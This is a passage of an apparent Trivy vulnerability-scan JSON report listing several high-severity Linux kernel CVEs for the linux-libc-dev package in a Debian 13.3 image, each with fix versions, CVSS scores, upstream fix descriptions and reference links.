ib_umem_release() is called, it calls\nib_umem_dmabuf_revoke() which will call dma_buf_unpin() again.\n\nFix this by removing the immediate unpin upon failure and just let\nthe ib_umem_release/revoke path handle it. This also ensures the\nproper unmap-unpin unwind ordering if the dmabuf_map_pages call\nhappened to fail due to dma_resv_wait_timeout (and therefore has\na non-NULL umem_dmabuf-\u003esgt).", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:19568", "https://access.redhat.com/security/cve/CVE-2026-43128", "https://bugzilla.redhat.com/2394648", "https://bugzilla.redhat.com/2425046", "https://bugzilla.redhat.com/2429602", "https://bugzilla.redhat.com/2432389", "https://bugzilla.redhat.com/2432400", "https://bugzilla.redhat.com/2439852", "https://bugzilla.redhat.com/2439931", "https://bugzilla.redhat.com/2448745", "https://bugzilla.redhat.com/2453803", "https://bugzilla.redhat.com/2454844", "https://bugzilla.redhat.com/2461107", "https://bugzilla.redhat.com/2461521", "https://bugzilla.redhat.com/2467059", "https://bugzilla.redhat.com/2467144", "https://bugzilla.redhat.com/2467771", "https://bugzilla.redhat.com/2477015", "https://bugzilla.redhat.com/2477802", "https://bugzilla.redhat.com/show_bug.cgi?id=2394648", "https://bugzilla.redhat.com/show_bug.cgi?id=2425046", "https://bugzilla.redhat.com/show_bug.cgi?id=2429602", "https://bugzilla.redhat.com/show_bug.cgi?id=2432389", "https://bugzilla.redhat.com/show_bug.cgi?id=2432400", "https://bugzilla.redhat.com/show_bug.cgi?id=2439852", "https://bugzilla.redhat.com/show_bug.cgi?id=2439931", "https://bugzilla.redhat.com/show_bug.cgi?id=2448745", "https://bugzilla.redhat.com/show_bug.cgi?id=2453803", "https://bugzilla.redhat.com/show_bug.cgi?id=2454844", "https://bugzilla.redhat.com/show_bug.cgi?id=2461107", "https://bugzilla.redhat.com/show_bug.cgi?id=2461521", "https://bugzilla.redhat.com/show_bug.cgi?id=2467059", "https://bugzilla.redhat.com/show_bug.cgi?id=2467144", "https://bugzilla.redhat.com/show_bug.cgi?id=2467771", "https://bugzilla.redhat.com/show_bug.cgi?id=2477015", "https://bugzilla.redhat.com/show_bug.cgi?id=2477802", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22990", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23401", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31532", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31607", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43163", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43284", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46333", "https://errata.almalinux.org/9/ALSA-2026-19568.html", "https://errata.rockylinux.org/RLSA-2026:19568", "https://git.kernel.org/linus/104016eb671e19709721c1b0048dd912dc2e96be%20%287.0-rc2%29", "https://git.kernel.org/stable/c/104016eb671e19709721c1b0048dd912dc2e96be", "https://git.kernel.org/stable/c/40126bcbefa79ea86672e05dae608596bab38319", "https://git.kernel.org/stable/c/70542b69abff34d24b11ae0bb200cc7a766d18df", "https://git.kernel.org/stable/c/b324327ff6f48d8065dca67eb3b91357e72726bd", "https://git.kernel.org/stable/c/ba3bf0f1bf1d5d0404678485e872980532fcc2c4", "https://git.kernel.org/stable/c/d3e32e2f3262f1b25d77c085ace38e2cc4ad75cf", "https://linux.oracle.com/cve/CVE-2026-43128.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050620-CVE-2026-43128-5ff4@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43128", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-43128" ], "PublishedDate": "2026-05-06T12:16:29.837Z", "LastModifiedDate": "2026-10-19T20:18:07.677Z" }, { "VulnerabilityID": "CVE-2026-43133", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43133", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b4070d33048e77b53e033be8eeb88398f1bd619485b5d9c85064498765e6b92f", "Title": "kernel: KVM: nSVM: Always use vmcb01 in VMLOAD/VMSAVE emulation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: nSVM: Always use vmcb01 in VMLOAD/VMSAVE emulation\n\nCommit cc3ed80ae69f (\"KVM: nSVM: always use vmcb01 to for vmsave/vmload\nof guest state\") made KVM always use vmcb01 for the fields controlled by\nVMSAVE/VMLOAD, but it missed updating the VMLOAD/VMSAVE emulation code\nto always use vmcb01.\n\nAs a result, if VMSAVE/VMLOAD is executed by an L2 guest and is not\nintercepted by L1, KVM will mistakenly use vmcb02. Always use vmcb01\ninstead of the current VMCB.", "Severity": "HIGH", "CweIDs": [ "CWE-754", "CWE-628" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:H", "V3Score": 7.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:65334", "https://access.redhat.com/errata/RHSA-2026:66180", "https://access.redhat.com/errata/RHSA-2026:66357", "https://access.redhat.com/errata/RHSA-2026:67468", "https://access.redhat.com/errata/RHSA-2026:67469", "https://access.redhat.com/security/cve/CVE-2026-43133", "https://bugzilla.redhat.com/2467065", "https://bugzilla.redhat.com/2468102", "https://bugzilla.redhat.com/2479812", "https://bugzilla.redhat.com/2481936", "https://bugzilla.redhat.com/2482566", "https://bugzilla.redhat.com/2484456", "https://bugzilla.redhat.com/2486463", "https://bugzilla.redhat.com/2486999", "https://bugzilla.redhat.com/2492329", "https://bugzilla.redhat.com/2492811", "https://bugzilla.redhat.com/2492841", "https://bugzilla.redhat.com/2501252", "https://bugzilla.redhat.com/2502394", "https://bugzilla.redhat.com/2510892", "https://bugzilla.redhat.com/2511932", "https://bugzilla.redhat.com/2516731", "https://bugzilla.redhat.com/2517046", "https://bugzilla.redhat.com/show_bug.cgi?id=2467065", "https://bugzilla.redhat.com/show_bug.cgi?id=2468102", "https://bugzilla.redhat.com/show_bug.cgi?id=2479812", "https://bugzilla.redhat.com/show_bug.cgi?id=2481936", "https://bugzilla.redhat.com/show_bug.cgi?id=2482566", "https://bugzilla.redhat.com/show_bug.cgi?id=2484456", "https://bugzilla.redhat.com/show_bug.cgi?id=2486463", "https://bugzilla.redhat.com/show_bug.cgi?id=2486999", "https://bugzilla.redhat.com/show_bug.cgi?id=2492329", "https://bugzilla.redhat.com/show_bug.cgi?id=2492811", "https://bugzilla.redhat.com/show_bug.cgi?id=2492841", "https://bugzilla.redhat.com/show_bug.cgi?id=2501252", "https://bugzilla.redhat.com/show_bug.cgi?id=2502394", "https://bugzilla.redhat.com/show_bug.cgi?id=2510892", "https://bugzilla.redhat.com/show_bug.cgi?id=2511932", "https://bugzilla.redhat.com/show_bug.cgi?id=2516731", "https://bugzilla.redhat.com/show_bug.cgi?id=2517046", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43339", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43493", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46149", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46306", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46330", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53223", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53275", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64034", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64597", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72129", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74480", "https://errata.almalinux.org/9/ALSA-2026-66180.html", "https://errata.rockylinux.org/RLSA-2026:66180", "https://git.kernel.org/linus/127ccae2c185f62e6ecb4bf24f9cb307e9b9c619%20%287.0-rc1%29", "https://git.kernel.org/stable/c/0004ecb798b30e90d7ebfe74efae2d9423315a64", "https://git.kernel.org/stable/c/10063e1251c1485034a018236080792ad083dcc5", "https://git.kernel.org/stable/c/127ccae2c185f62e6ecb4bf24f9cb307e9b9c619", "https://git.kernel.org/stable/c/3880e331b0b31d0d5d3702b124f6c93539cd478a", "https://git.kernel.org/stable/c/c3b7015000988ba35ecd5648f4b2283960f00543", "https://git.kernel.org/stable/c/d464cf1ed900d47c85393d40b00017b6adfc2e6c", "https://git.kernel.org/stable/c/fce2fd4a2ca05670a91015aacccf96a1c26268fd", "https://linux.oracle.com/cve/CVE-2026-43133.html", "https://linux.oracle.com/errata/ELSA-2026-67468-0.html", "https://lore.kernel.org/linux-cve-announce/2026050622-CVE-2026-43133-ffea@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43133", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43133.json", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43133" ], "PublishedDate": "2026-05-06T12:16:30.48Z", "LastModifiedDate": "2026-10-19T20:18:07.837Z" }, { "VulnerabilityID": "CVE-2026-43138", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43138", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6b336e4291fefa00f96954e5edf07a6bfe94b98edac1e31b4d8200b011c95c0d", "Title": "kernel: reset: gpio: suppress bind attributes in sysfs", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nreset: gpio: suppress bind attributes in sysfs\n\nThis is a special device that's created dynamically and is supposed to\nstay in memory forever. We also currently don't have a devlink between\nit and the actual reset consumer. Suppress sysfs bind attributes so that\nuser-space can't unbind the device because - as of now - it will cause a\nuse-after-free splat from any user that puts the reset control handle.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43138", "https://git.kernel.org/linus/16de4c6a8fe9ff497ca1aba33ef0dbee09f11952%20%287.0-rc1%29", "https://git.kernel.org/stable/c/09d6efc6abd42809956d598906c222ccd1c8ae92", "https://git.kernel.org/stable/c/16de4c6a8fe9ff497ca1aba33ef0dbee09f11952", "https://git.kernel.org/stable/c/1d7d869f074f98c34fe23f6a56e5f3acc1f95a2b", "https://git.kernel.org/stable/c/76801c3dfca0ac6339a23e9615b5f23e25b8644c", "https://lore.kernel.org/linux-cve-announce/2026050624-CVE-2026-43138-ccd2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43138", "https://www.cve.org/CVERecord?id=CVE-2026-43138" ], "PublishedDate": "2026-05-06T12:16:31.117Z", "LastModifiedDate": "2026-06-17T10:49:00.4Z" }, { "VulnerabilityID": "CVE-2026-43141", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43141", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9258c83a907089a8ce3aa1d522f11998531597c2365e4ef49be8a31044cc41ef", "Title": "kernel: ntb: ntb_hw_switchtec: Fix shift-out-of-bounds for 0 mw lut", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nntb: ntb_hw_switchtec: Fix shift-out-of-bounds for 0 mw lut\n\nNumber of MW LUTs depends on NTB configuration and can be set to zero,\nin such scenario rounddown_pow_of_two will cause undefined behaviour and\nshould not be performed.\nThis patch ensures that rounddown_pow_of_two is called on valid value.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43141", "https://git.kernel.org/linus/186615f8855a0be4ee7d3fcd09a8ecc10e783b08%20%287.0-rc1%29", "https://git.kernel.org/stable/c/186615f8855a0be4ee7d3fcd09a8ecc10e783b08", "https://git.kernel.org/stable/c/1a867d0d79a4a570a33f2f433919ad2bd7a27b67", "https://git.kernel.org/stable/c/2e4d5e8d86a969318340be95470bb76e52392082", "https://git.kernel.org/stable/c/5590cd04d6845c01a6bad985a491c58af6fb5389", "https://git.kernel.org/stable/c/a11d03d116eef138a7249202bd772c8e61915aec", "https://git.kernel.org/stable/c/a133e3caf844a3f56b6eef89ddaa66115874f6bd", "https://git.kernel.org/stable/c/d0559d07afabfddaaded6a61a16154486b956764", "https://git.kernel.org/stable/c/d652ef399f131fcd5f8f34266167449ee7c9e5b3", "https://lore.kernel.org/linux-cve-announce/2026050625-CVE-2026-43141-a84a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43141", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43141" ], "PublishedDate": "2026-05-06T12:16:31.493Z", "LastModifiedDate": "2026-06-17T10:49:00.747Z" }, { "VulnerabilityID": "CVE-2026-43150", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43150", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:18b15406caae196cffffc1818fb97bc432d783cc094719030922fcf5d7e1598a", "Title": "kernel: perf/arm-cmn: Reject unsupported hardware configurations", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf/arm-cmn: Reject unsupported hardware configurations\n\nSo far we've been fairly lax about accepting both unknown CMN models\n(at least with a warning), and unknown revisions of those which we\ndo know, as although things do frequently change between releases,\ntypically enough remains the same to be somewhat useful for at least\nsome basic bringup checks. However, we also make assumptions of the\nmaximum supported sizes and numbers of things in various places, and\nthere's no guarantee that something new might not be bigger and lead\nto nasty array overflows. Make sure we only try to run on things that\nactually match our assumptions and so will not risk memory corruption.\n\nWe have at least always failed on completely unknown node types, so\nupdate that error message for clarity and consistency too.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-122" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43150", "https://git.kernel.org/linus/36c0de02575ce59dfd879eb4ef63d53a68bbf9ce%20%287.0-rc1%29", "https://git.kernel.org/stable/c/00d69f21ef2ab00e6156c764d89e2b3539eb2f33", "https://git.kernel.org/stable/c/08c7eadd8a934a1968e1aeeee8b61b853b99fb3a", "https://git.kernel.org/stable/c/36c0de02575ce59dfd879eb4ef63d53a68bbf9ce", "https://git.kernel.org/stable/c/7e2c200010aa93fa78201da959b4ac6b9f8fed0b", "https://git.kernel.org/stable/c/a251d866f50b6a4c95901fa722025065679c2eca", "https://git.kernel.org/stable/c/d3e837e11ee9ed08df229272319199003ba00379", "https://linux.oracle.com/cve/CVE-2026-43150.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050628-CVE-2026-43150-987f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43150", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-43150" ], "PublishedDate": "2026-05-06T12:16:32.69Z", "LastModifiedDate": "2026-10-19T20:18:08.48Z" }, { "VulnerabilityID": "CVE-2026-43178", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43178", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d45fd0100fe8e2ebf9a8e19600b63236931cf9a8e8cb730dd98b1631d42320e1", "Title": "kernel: procfs: fix possible double mmput() in do_procmap_query()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nprocfs: fix possible double mmput() in do_procmap_query()\n\nWhen user provides incorrectly sized buffer for build ID for PROCMAP_QUERY\nwe return with -ENAMETOOLONG error. After recent changes this condition\nhappens later, after we unlocked mmap_lock/per-VMA lock and did mmput(),\nso original goto out is now wrong and will double-mmput() mm_struct. Fix\nby jumping further to clean up only vm_file and name_buf.", "Severity": "HIGH", "CweIDs": [ "CWE-415", "CWE-1341" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43178", "https://bugzilla.redhat.com/show_bug.cgi?id=2467227", "https://git.kernel.org/stable/c/61dc9f776705d6db6847c101b98fa4f0e9eb6fa3", "https://git.kernel.org/stable/c/8adaff87db143583e08eec4f4e7788f1ef8af94d", "https://git.kernel.org/stable/c/90f5e87c9b75833b9ef3a4415b92c0247f28ab2f", "https://git.kernel.org/stable/c/f9fe092084cd04deea18747f58a2304026e76aaa", "https://linux.oracle.com/cve/CVE-2026-43178.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050638-CVE-2026-43178-3c95@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43178", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43178.json", "https://www.cve.org/CVERecord?id=CVE-2026-43178" ], "PublishedDate": "2026-05-06T12:16:36.303Z", "LastModifiedDate": "2026-07-15T02:21:42.64Z" }, { "VulnerabilityID": "CVE-2026-43185", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43185", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:accd62f0e5b4d0b63e149329a472ae014bccb995dcd0d9e416315d55f70c1551", "Title": "kernel: ksmbd: fix signededness bug in smb_direct_prepare_negotiation()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix signededness bug in smb_direct_prepare_negotiation()\n\nsmb_direct_prepare_negotiation() casts an unsigned __u32 value\nfrom sp-\u003emax_recv_size and req-\u003epreferred_send_size to a signed\nint before computing min_t(int, ...). A maliciously provided\npreferred_send_size of 0x80000000 will return as smaller than\nmax_recv_size, and then be used to set the maximum allowed\nalowed receive size for the next message.\n\nBy sending a second message with a large value (\u003e1420 bytes)\nthe attacker can then achieve a heap buffer overflow.\n\nThis fix replaces min_t(int, ...) with min_t(u32)", "Severity": "HIGH", "CweIDs": [ "CWE-674" ], "VendorSeverity": { "redhat": 3, "ubuntu": 4 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43185", "https://git.kernel.org/linus/6b4f875aac344cdd52a1f34cc70ed2f874a65757%20%287.0-rc2%29", "https://git.kernel.org/stable/c/1c268fd2f59dc9ccb2c2a7d1f439b232dbe1c06c", "https://git.kernel.org/stable/c/55abc475d096da4a5356b6efb0cfdc6156bc1550", "https://git.kernel.org/stable/c/56eab82fa6fb5ca024b0514e249d40d9b23ee5a7", "https://git.kernel.org/stable/c/6b4f875aac344cdd52a1f34cc70ed2f874a65757", "https://git.kernel.org/stable/c/a110dbe928561d440e9e117d17331139a0bedace", "https://git.kernel.org/stable/c/ceae058eb707ddd0d68f0872f9d9f23b7c30c37b", "https://lore.kernel.org/linux-cve-announce/2026050640-CVE-2026-43185-55a5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43185", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-43185" ], "PublishedDate": "2026-05-06T12:16:37.187Z", "LastModifiedDate": "2026-10-30T13:18:47.55Z" }, { "VulnerabilityID": "CVE-2026-43196", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43196", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": 